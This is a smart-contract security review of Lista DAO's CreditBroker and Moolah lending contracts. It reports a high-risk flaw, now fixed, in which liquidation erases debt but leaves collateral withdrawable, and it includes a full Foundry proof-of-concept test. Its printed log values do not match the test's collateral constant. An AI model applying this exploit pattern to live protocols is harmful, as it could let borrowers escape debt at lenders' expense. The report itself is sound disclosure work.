

Lista DAO

Security Review

Cantina Managed review by:
Giovanni Di Siena, Lead Security Researcher
Chinmay Farkya, Security Researcher
Om Parikh, Security Researcher

February 28, 2026

Contents

1 Introduction **2**
- 1.1 About Cantina . . . 2
- 1.2 Disclaimer . . . 2
- 1.3 Risk assessment . . . 2
  - 1.3.1 Severity Classification . . . 2

2 Security Review Summary **3**
- 2.1 Scope . . . 3

3 Findings **4**
- 3.1 High Risk . . . 4
  - 3.1.1 Liquidated user can withdraw their collateral without paying bad debt . . . 4
- 3.2 Low Risk . . . 8
  - 3.2.1 `CreditBroker` does not inherit `IProvider` and does not implement `liquidate(Id, address)` . . . 8
- 3.3 Informational . . . 9
  - 3.3.1 Ambiguous precision for `Oracle.peek` return value . . . 9

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Lista DAO functions as the open-source decentralized stablecoin lending protocol powered by LSDfi.

From Feb 3rd to Feb 4th the Cantina team conducted a review of moolah on commit hash 11efbec8. The team identified a total of **3** issues:

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	1	1	0
Medium Risk	0	0	0
Low Risk	1	1	0
Gas Optimizations	0	0	0
Informational	1	1	0
Total	**3**	**3**	**0**

2.1 Scope

The security review had the following components in scope for moolah on commit hash 11efbec8:

```
src
├── broker
│   ├── CreditBroker.sol
│   └── interfaces
│       └── ICreditBroker.sol
└── moolah
    ├── Moolah.sol
    ├── interfaces
    │   └── IMoolah.sol
    └── libraries
        └── ErrorsLib.sol
```

3 Findings

3.1 High Risk

3.1.1 Liquidated user can withdraw their collateral without paying bad debt

Severity: High Risk

Context: CreditBroker.sol#L486-L497

Description: After a user is liquidated on `CreditBroker` by calling `CreditBroker.liquidate`, where user had a loan position on `CreditBroker`, the debt is erased but collateral is not seized.

This allows user to withdraw collateral by calling `CreditBroker.withdrawCollateral` post liquidation to obtain their collateral back without any penalties or deductions.

Proof of Concept:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/interfaces/IERC20.sol";

import { Moolah } from "../../src/moolah/Moolah.sol";
import { IMoolah, MarketParams, Id, Position } from "moolah/interfaces/IMoolah.sol";
import { OracleMock } from "../../src/moolah/mocks/OracleMock.sol";
import { IrmMockZero } from "../../src/moolah/mocks/IrmMock.sol";
import { ERC20Mock } from "../../src/moolah/mocks/ERC20Mock.sol";

import { CreditBroker } from "../../src/broker/CreditBroker.sol";
import { CreditBrokerInterestRelayer } from
↪  "../../src/broker/CreditBrokerInterestRelayer.sol";
import { ICreditBroker, FixedLoanPosition, FixedTermAndRate, FixedTermType } from
↪  "../../src/broker/interfaces/ICreditBroker.sol";
import { MoolahVault } from "../../src/moolah-vault/MoolahVault.sol";

import { MarketParamsLib } from "moolah/libraries/MarketParamsLib.sol";
import { CreditToken } from "../../src/utils/CreditToken.sol";
import { CreditBrokerInfo } from "../../src/broker/CreditBrokerInfo.sol";
import { Merkle } from "murky/src/Merkle.sol";

contract CreditBrokerCollateralReclaimPOC is Test {
  using MarketParamsLib for MarketParams;

  IMoolah public moolah;
  CreditBroker public broker;
  MoolahVault public vault;
  CreditBrokerInterestRelayer public relayer;
  CreditBrokerInfo public info;

  MarketParams public marketParams;
  Id public id;

  OracleMock public oracle;
  IrmMockZero public irm;
  address supplier = address(0x201);
  address borrower = address(0x202);

  uint256 constant LTV = 1e18;
  uint256 constant SUPPLY_LIQ = 10_000 ether;
  uint256 constant COLLATERAL = 1_000 ether;

  address constant ADMIN = 0x07D274a68393E8b8a2CCf19A2ce4Ba3518735253;
  address constant MANAGER = 0x2e2807F88C381Cb0CC55c808a751fC1E3fcCbb85;
```

```
address constant BOT = 0x91fC4BA20685339781888eCA3E9E1c12d40F0e13;

ERC20Mock public USDT;
ERC20Mock public LISTA;
uint8 constant USDT_DECIMALS = 18;

CreditToken public creditToken;
bytes32 merkleRoot;
bytes32[] proof;
Merkle m = new Merkle();

function setUp() public {
  Moolah mImpl = new Moolah();
  ERC1967Proxy mProxy = new ERC1967Proxy(
    address(mImpl),
    abi.encodeWithSelector(Moolah.initialize.selector, ADMIN, MANAGER,
    ↪  address(0xA11A51), 15e8)
  );
  moolah = IMoolah(address(mProxy));

  USDT = new ERC20Mock();
  USDT.setName("Lista USD");
  USDT.setSymbol("USDT");
  USDT.setDecimals(USDT_DECIMALS);
  LISTA = new ERC20Mock();
  LISTA.setName("LISTA");
  LISTA.setSymbol("LISTA");
  LISTA.setDecimals(USDT_DECIMALS);

  CreditBrokerInfo infoImpl = new CreditBrokerInfo();
  ERC1967Proxy infoProxy = new ERC1967Proxy(
    address(infoImpl),
    abi.encodeWithSelector(CreditBrokerInfo.initialize.selector, ADMIN)
  );
  info = CreditBrokerInfo(address(infoProxy));

  CreditToken ctImpl = new CreditToken();
  ERC1967Proxy ctProxy = new ERC1967Proxy(
    address(ctImpl),
    abi.encodeWithSelector(
      CreditToken.initialize.selector,
      ADMIN,
      MANAGER,
      BOT,
      address(0xA11A51),
      new address[](0),
      "Credit Token",
      "CRDT"
    )
  );
  creditToken = CreditToken(address(ctProxy));

  oracle = new OracleMock();
  oracle.setPrice(address(USDT), 1e8);
  oracle.setPrice(address(LISTA), 5e7);

  irm = new IrmMockZero();
  vm.prank(MANAGER);
  Moolah(address(moolah)).enableIrm(address(irm));
  vm.prank(MANAGER);
  Moolah(address(moolah)).enableLltv(LTV);

  vault = new MoolahVault(address(moolah), address(USDT));

  CreditBrokerInterestRelayer relayerImpl = new CreditBrokerInterestRelayer();
  ERC1967Proxy relayerProxy = new ERC1967Proxy(
```

```
    address(relayerImpl),
    abi.encodeWithSelector(
      CreditBrokerInterestRelayer.initialize.selector,
      ADMIN,
      MANAGER,
      address(moolah),
      address(vault),
      address(USDT),
      address(LISTA)
    )
  );
  relayer = CreditBrokerInterestRelayer(address(relayerProxy));

  CreditBroker bImpl = new CreditBroker(
    address(moolah),
    address(relayer),
    address(oracle),
    address(LISTA),
    address(creditToken)
  );
  ERC1967Proxy bProxy = new ERC1967Proxy(
    address(bImpl),
    abi.encodeWithSelector(CreditBroker.initialize.selector, ADMIN, MANAGER, BOT,
    ↪  address(0xA11A51))
  );
  broker = CreditBroker(payable(address(bProxy)));

  marketParams = MarketParams({
    loanToken: address(USDT),
    collateralToken: address(creditToken),
    oracle: address(broker),
    irm: address(irm),
    lltv: LTV
  });
  id = marketParams.id();
  Moolah(address(moolah)).createMarket(marketParams);

  vm.prank(MANAGER);
  broker.setMarketId(id);

  vm.startPrank(MANAGER);
  Moolah(address(moolah)).setMarketBroker(id, address(broker), true);
  vm.stopPrank();

  uint256 seed = SUPPLY_LIQ;
  USDT.setBalance(supplier, seed);
  vm.startPrank(supplier);
  IERC20(address(USDT)).approve(address(moolah), type(uint256).max);
  moolah.supply(marketParams, seed, 0, supplier, bytes(""));
  vm.stopPrank();

  vm.startPrank(MANAGER);
  creditToken.grantRole(creditToken.TRANSFERER(), address(broker));
  creditToken.grantRole(creditToken.TRANSFERER(), address(moolah));
  vm.stopPrank();

  vm.prank(borrower);
  USDT.approve(address(broker), type(uint256).max);

  vm.prank(MANAGER);
  relayer.addBroker(address(broker));
}

function _generateTree(address _account, uint256 _score, uint256 _versionId) public {
  bytes32[] memory data = new bytes32[](4);
```

```
    data[0] = keccak256(abi.encode(block.chainid, address(creditToken), _account,
    ↪  _score, _versionId));
    data[1] = bytes32("0x1");
    data[2] = bytes32("0x2");
    data[3] = bytes32("0x3");
    bytes32 root = m.getRoot(data);
    bytes32[] memory _proof = m.getProof(data, 0);
    merkleRoot = root;
    proof = _proof;

    vm.prank(BOT);
    creditToken.setPendingMerkleRoot(merkleRoot);

    vm.warp(vm.getBlockTimestamp() + 1 days + 1);

    vm.prank(BOT);
    creditToken.acceptMerkleRoot();
  }

  function test_collateralReclaimedAfterLiquidation() public {
    vm.prank(MANAGER);
    moolah.setProvider(id, address(broker), true);

    _generateTree(borrower, COLLATERAL, creditToken.versionId() + 1);
    vm.startPrank(borrower);
    creditToken.approve(address(broker), type(uint256).max);
    broker.supplyCollateral(COLLATERAL, COLLATERAL, proof);
    vm.stopPrank();

    Position memory posBefore = moolah.position(id, borrower);
    assertEq(posBefore.collateral, COLLATERAL);
    assertEq(posBefore.borrowShares, 0);
    console.log("=== BEFORE BORROW ===");
    console.log("collateral:", posBefore.collateral);
    console.log("borrowShares:", posBefore.borrowShares);

    uint256 termId = 1;
    uint256 duration = 14 days;
    uint256 apr = 105 * 1e25;
    FixedTermAndRate memory term = FixedTermAndRate({ termId: termId, duration:
    ↪  duration, apr: apr, termType: FixedTermType.ACCRUE_INTEREST });
    vm.prank(MANAGER);
    broker.addFixedTermAndRate(term);

    uint256 borrowAmount = 500 ether;
    vm.prank(borrower);
    broker.borrow(borrowAmount, termId, COLLATERAL, proof);

    Position memory posAfterBorrow = moolah.position(id, borrower);
    assertGt(posAfterBorrow.borrowShares, 0);
    assertEq(posAfterBorrow.collateral, COLLATERAL);
    console.log("=== AFTER BORROW ===");
    console.log("collateral:", posAfterBorrow.collateral);
    console.log("borrowShares:", posAfterBorrow.borrowShares);

    skip(18 days);

    Position memory posBeforeLiquidate = moolah.position(id, borrower);
    console.log("=== BEFORE LIQUIDATE ===");
    console.log("collateral:", posBeforeLiquidate.collateral);
    console.log("borrowShares:", posBeforeLiquidate.borrowShares);

    FixedLoanPosition[] memory positions = broker.userFixedPositions(borrower);
    assertEq(positions.length, 1);
    uint256 posId = positions[0].posId;
```

```
    vm.prank(BOT);
    broker.liquidate(borrower, posId);

    Position memory posAfterLiquidation = moolah.position(id, borrower);
    assertEq(posAfterLiquidation.borrowShares, 0);
    assertEq(posAfterLiquidation.collateral, COLLATERAL);
    console.log("=== AFTER LIQUIDATE ===");
    console.log("collateral:", posAfterLiquidation.collateral);
    console.log("borrowShares:", posAfterLiquidation.borrowShares);

    uint256 balanceBefore = creditToken.balanceOf(borrower);
    vm.prank(borrower);
    broker.withdrawCollateral(COLLATERAL, COLLATERAL, proof);
    uint256 balanceAfter = creditToken.balanceOf(borrower);

    assertEq(balanceAfter - balanceBefore, COLLATERAL);
    assertEq(moolah.position(id, borrower).collateral, 0);
  }
}
```

Logs:

```
=== BEFORE BORROW ===
collateral: 100000000000000000000
borrowShares: 0
=== AFTER BORROW ===
collateral: 100000000000000000000
borrowShares: 500000000000000000000000000
=== BEFORE LIQUIDATE ===
collateral: 100000000000000000000
borrowShares: 500000000000000000000000000
=== AFTER LIQUIDATE ===
collateral: 100000000000000000000
borrowShares: 0
```

Recommendation:

- At time of liquidation, erase the `position.collateral` by the same amount.
- Add the relevant tests for the same.

Lista DAO: Fixed in commit 3be5a444.

Cantina Managed: Fix verified.

3.2 Low Risk

3.2.1 `CreditBroker` does not inherit `IProvider` and does not implement `liquidate(Id, address)`

Severity: Low Risk

Context: CreditBroker.sol#L774, Moolah.sol#L600, IProvider.sol#L6-L7

Description: With the addition of the `liquidate(address, uint256)` entrypoint, `CreditBroker` liquidations can be processed to mark a penalized position as having bad debt. Liquidations originating directly from Moolah calling the expected function signature `liquidate(Id, address)` remain disabled as expected; however, in a regression from a previous finding and associated fix, `CreditBroker` no longer conforms to the `IProvider` interface and reverts due to the absence of any fallback logic.

Recommendation: Consider having `CreditBroker` inherit `IProvider` and explicitly implement `IProvider::liquidate` to revert when called.

Lista DAO: Fixed in commits c31de6c and a7ea6bb.

Cantina Managed: Verified. `CreditBroker` now inherits `IProvider` and implements the missing `IProvider::liquidate` overload.

3.3 Informational

3.3.1 Ambiguous precision for `Oracle.peek` return value

Severity: Informational

Context: PriceLib.sol#L39-L44

Description: The return value from `Oracle.peek` is not clearly defined. However, the callers expect it to be in `1e8` precision based on how it is currently implemented.

Recommendation: Consider documenting the return value precision/scaling for the `IOracle.peek`.

Lista DAO: Fixed in commit 8bf9669.

Cantina Managed: Verified.